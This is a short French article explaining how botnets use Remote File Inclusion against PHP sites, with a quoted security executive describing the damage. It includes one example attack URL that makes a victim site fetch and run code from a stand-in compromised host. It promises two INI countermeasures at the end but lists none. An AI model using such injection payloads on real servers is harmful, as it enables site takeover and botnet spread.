Un réseau de robots (botnet) est un réseau d’ordinateurs utilisé pour envoyer du spam ou d’autres attaques à l’insu de leurs utilisateurs. Un seul réseau peut comprendre des centaines voire des milliers d’ordinateurs piratés.
Parmi les attaques les plus utilisées par les botnets figure l’inclusion de fichiers à distance (ou Remote File Inclusion). Celle-ci est facile à déployer de façon automatique. Le botnet possède un serveur piraté sur lequel il a placé un programme malveillant. Il utilise un paramètre d’un site victime pour amener celui-ci à télécharger et à exécuter le programme à distance obtenant ainsi, la possibilité de placer d’autres fichiers malveillants sur le serveur Web visé.
Une inclusion distante ressemblerait à cela :
http://www.victime.com/index.php?IncludeDir=http://www.hacked.com/include.txt
L’inclusion de fichiers à distance exploite une faille de sécurité. Dans les fonctions fopen(), require(), include()... du langage PHP, il est possible d’émettre une connexion Web (ou FTP) vers un serveur distant si le paramètre passé n’est pas correctement contrôlé. Ces fonctions utilisent CURL permettant de faciliter le développement de services Web 2.0 (Web Services).
Michaël Vergoz, Directeur Technique R&D chez BinarySEC souligne que ce type de failles peut causer des dégâts importants :
« Une mauvaise configuration associée à un site web mal protégé se transforme en cocktail explosif. BinarySEC voit tous les jours des dizaines de sites piratés par Remote Inclusion.
Une fois le site victime touché, il est très facile pour le Botnet d’élever ses privilèges sur le serveur Web hébergeant le site. Ses privilèges augmentés, il est capable de contrôler totalement le serveur et ainsi de trouver de nouvelles machines à pirater ou encore utiliser le serveur pour attaquer d’autres sites ! Le botnet se propage alors comme un virus spécialement conçu pour attaquer les sites Internet. »
Il existe deux directives INI pour parer à ce genre de problèmes:
(Article paru dans Réunion Multimédia)